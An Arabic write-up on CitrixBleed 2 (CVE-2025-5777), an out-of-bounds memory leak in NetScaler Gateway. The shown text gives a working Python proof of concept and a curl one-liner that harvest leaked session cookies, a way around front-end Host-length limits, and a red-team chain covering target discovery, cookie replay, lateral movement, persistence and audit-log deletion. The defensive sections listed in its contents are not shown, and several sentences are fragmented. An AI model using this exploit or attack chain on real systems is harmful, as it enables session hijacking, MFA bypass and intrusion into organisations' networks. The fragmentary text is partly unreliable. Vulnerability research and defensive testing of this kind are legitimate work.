
شرح تفصيلي لـ CitrixBleed 2 — CVE-2025-5777 (تسريب خارج الحدود) PoC وعدة الكشف
قراءة ذاكرة خارج الحدود (Out-of-Bounds Memory Read) في NetScaler ADC / Gateway — دليل شامل من الأسباب الجذرية إلى تدريبات الهجوم والدفاع
0x00 مقدمة / نظرة سريعة
0x01 الخلفية: بنية NetScaler واستعراض CitrixBleed 1
0x02 وصف الثغرة (الإصدارات المتأثرة، CVSS، عواقب الاستغلال)
0x03 تشريح عميق لآلية الاستغلال (تحليل على مستوى الكود المصدري ولقطات التصحيح)
0x04 PoC مصغّر + سكربت مسح متقدم
0x05 منظور الفريق الأحمر: سلسلة الهجوم الكاملة (الاكتشاف → التسريب → اختطاف الجلسة → الحركة الجانبية في الشبكة الداخلية)
0x06 منظور الفريق الأزرق: الكشف والطب الشرعي والتحقق من التصحيح
0x07 تحصين الدفاع: التصحيح وWAF والإعدادات وإدارة الأصول
0x08 خارطة طريق التعلم / المراجعة والتجارب العملية
الملحق A قواعد Sigma / Suricata / Nginx-Lua
الملحق B الجدول الزمني للتصحيح/الاستغلال ولقطات IoC
المراجع
Host طويل جدًا ليجعل الجهاز "يبصق" كتلًا عشوائية من الذاكرة مع استجابة HTTP إلى العميل.NSC_USER / NSC_TASS وStateContext الخاصة بـ SAML ورموز MFA، ويمكن إعادة استخدامها مباشرةً لاختطاف الجلسات وتجاوز MFA ([arcticwolf.com][1], [tenable.com][2]).┌──────────────┐
│ Client │ ① HTTPS
└──────┬───────┘
│
┌──────▼───────┐
│ NetScaler │ ② مصادقة AAA / Gateway
│ (WebProc) │
└──────┬───────┘
│
┌──────▼───────┐
│ ICA Proxy / │ ③ توجيه إلى التطبيق
│ CVPN / RDP │
└──────────────┘
يعتمد NetScaler تصميم متعدد العمليات + IPC داخلي. تتولى WebProc معالجة معظم طلبات HTTP ضمن مسار AAA / Gateway، بما في ذلك /nf/auth/* و/oauth/* وغيرها. وتستخدم بكثرة snprintf() / memcpy() في لغة C عند تجميع مقاطع XML/HTML في كل مرة.
/oauth/idp/.well-known/openid-configuration.snprintf كمعامل len في send() اللاحقة ← صدى ذاكرة خارج الحدود.الدرس المستفاد: إذا استهدفت التصحيحات الأمنية "نقطة التأثير" فقط دون "نمط البرمجة"، فستترك مساحةً لإعادة الاستغلال "بنمط موحّد".
| الحقل | المحتوى |
|---|---|
| CVE | CVE-2025-5777 |
| الاسم المستعار | CitrixBleed 2 |
| نوع الثغرة | قراءة خارج الحدود / تسريب معلومات |
| CVSS v4 Base | 9.3 (حرجة) ([netscaler.com][3]) |
| الإصدارات المتأثرة | < 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS ([netscaler.com][3]) |
| شروط الاستغلال | أن يكون NetScaler مهيأً كبوابة Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) أو كخادم AAA افتراضي ([arcticwolf.com][1]) |
| عواقب الاستغلال | تسريب الذاكرة → رموز الجلسة → تجاوز المصادقة / تجاوز MFA → حركة جانبية |
يعتمد هذا القسم على فك تجميع البرنامج الثابت 13.1-55.18 وتصحيح الأخطاء عبر gdb، بالإضافة إلى مدونات عامة ([bishopfox.com][5]).
/nf/auth/startwebview.doHost<AuthenticateResponse>
<wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
...
</AuthenticateResponse>
citrix_webview_handler()
├─ build_auth_xml()
│ ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
│ └─ return length; // ⚠️ يمكن أن تكون length أكبر من 0x1800
└─ ns_vpn_send_response(conn, 0x980200, buf, length);
موقع الخلل: تُرجع
snprintf"الطول الذي كان يجب كتابته" وليس الطول الفعلي المكتوب؛ إذا كان رأسHostالمُرسل من المستخدم > 0x1800 - طول المقطع الثابت، فإنlength>sizeof(buf).
buf: [-----XML-----][OOB][OOB][OOB]...... <- حد 0x1800 بايت
↑
تُرسَل هذه البايتات أيضًا بواسطة ns_vpn_send_response
عرض نقاط التوقف في GDB (السجلات الرئيسية):
RDI (dst) = 0x7fffa2e31800 // buf
RSI (len) = 0x00001e42 // length=7746 (>6144)
أظهرت نتائج read() أن آخر 1600 بايت تأتي من ذاكرة غير مهيأة، وكانت مخازن كوكيز من جلسات SSL أخرى ظاهرةً فيها.
| الفئة | مقطع توضيحي (تم إخفاء البيانات الحساسة) |
|---|---|
| Session Cookie | Set-Cookie: NSC_USER=john.doe;NSC_TASS=abc123... |
| MFA/OTP Token | radius_state=0e2a9c6d1553... |
| محتوى طلبات أخرى | <username>audituser</username><password>***</password> |
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()
if len(sys.argv) != 2:
exit(f"Usage: {sys.argv[0]} https://NSVIP")
url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000} # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)
print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print(" Cookie leak ->", h.decode())
open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
leak.bin عن كلمات مفتاحية مثل Cookie= و<AuthenticateContext> وغيرها.curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
https://NSVIP/nf/auth/startwebview.do -o leak.bin
تجاوز: تفرض بعض الأجهزة قيدًا على طول رأس
Hostعبر F5 / Nginx في الواجهة الأمامية؛ يمكن التحايل عليه بتجميع نطاقات فرعية متعددة، مثلfoo.foo.foo.…foo.example.com(بتكرارfoo3000 مرة).
| الخطوة | الهدف والتقنية |
|---|---|
| ① اكتشاف الأصول | zoomeye search "http.title:\"NetScaler Gateway\"" + Shodan وغيرها؛ التصفية وفق set-cookie: NSC_ |
| ② تسريب عبر PoC | نصوص برمجية مجمّعة ترسل الطلبات بالتوازي؛ والتقاط NSC_USER= ; NSC_TASS= |
| ③ إعادة تشغيل الكوكيز | Chrome DevTools→Application→Cookies→إضافة عنصر، ثم تحديث /vpn/index.html |
| ④ موارد الشبكة الداخلية | الوصول إلى storeweb/#home للحصول على ملفات RDP؛ تنزيل .ica والدخول مباشرة إلى VDI |
| ⑤ رفع الصلاحيات | حقن بيانات الاعتماد داخليًا، Kerberoast، ADCS ESC1؛ أو استغلال كلمات مرور SMB الضعيفة في الشبكة نفسها |
| ⑥ الثبات | إنشاء مهمة مجدولة؛ تسجيل سكربتات إقلاع تلقائي؛ أو تعديل vDisk الخاص بـ NetScaler (يتطلب صلاحيات عالية أو إهمالًا تشغيليًا) |
| ⑦ تنظيف الآثار | حرق الكوكيز فور استخدامها؛ حذف سجلات التدقيق (إن حصلت على صلاحيات root لـ NS)؛ أو الكتابة فوقها عبر استغلال سباق logrotate |